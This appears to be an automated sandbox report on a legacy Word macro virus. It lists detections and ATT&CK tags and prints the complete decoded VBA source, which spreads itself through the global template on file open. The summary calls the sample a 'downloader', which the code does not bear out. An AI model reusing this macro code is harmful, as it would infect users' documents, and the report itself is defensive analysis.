MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a legacy Word document containing VBA macros, including an AutoOpen macro designed to execute automatically. The AutoOpen macro attempts to copy itself and other macros ('WWUpdated', 'DaniloffMuDaK') to the global template, suggesting an intent to establish persistence or facilitate further execution. The presence of 'AVP for Winword' strings and the macro copying behavior are indicative of a malicious macro downloader.
Heuristics 4
-
ClamAV: Doc.Trojan.Apparition-8 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Apparition-8
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2114 bytes |
SHA-256: 32d60c192fd17264b4ccb39194466eb9cfaa1b939507e72c3cda6aa2c196801f |
|||
|
Detection
ClamAV:
Doc.Trojan.Apparition-8
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim hru
Dim j
Dim i
On Error GoTo -1: On Error GoTo fail
hru = 0
j = WordBasic.CountMacros(0, 0)
For i = 1 To j
If WordBasic.[MacroName$](i, 0, 0) = "WWUpdated" Then hru = 1
Next i
If hru = 1 Then GoTo fail
WordBasic.MsgBox "Gnoi"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOp"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":WWUpdated", "Global:WWUpdated"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":DaniloffMuDaK", "Global:FileOpen"
fail:
End Sub
Attribute VB_Name = "WWUpdated"
Public Sub MAIN()
'Presence of AVP for winword
End Sub
Attribute VB_Name = "DaniloffMuDaK"
Public Sub MAIN()
Dim OurCopyright$
Dim AVPcopyright$
Dim DowniloffCopyright$
Dim sQuestion$
Dim gnoi
Dim iCountMacros
Dim i
Dim zu$
' this macro loaded in normal template as FileOpen
OurCopyright$ = "Co-Copyright (cc) LordAsd and Stainless Steel Rat"
AVPcopyright$ = "AVP for WinWord v1.0"
DowniloffCopyright$ = "DaniloffMuDaK"
sQuestion$ = "Would you like to "
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
On Error GoTo -1: On Error GoTo fail
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
WordBasic.MsgBox WordBasic.[FileName$]()
gnoi = 0
iCountMacros = WordBasic.CountMacros(1, 0, 0)
For i = 1 To iCountMacros
zu$ = WordBasic.[MacroName$](i, 1)
If zu$ = "WWUpdated" Then gnoi = 1
Next i
If gnoi = 1 Then GoTo fail
WordBasic.FileSaveAs WordBasic.[FileName$](), Format:=1
WordBasic.MacroCopy "Global:AutoOp", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:WWUpdated", WordBasic.[FileName$]() + ":WWUpdated"
WordBasic.MacroCopy "Global:FileOpen", WordBasic.[FileName$]() + ":DaniloffMuDaK"
WordBasic.MsgBox "Suxx"
fail:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.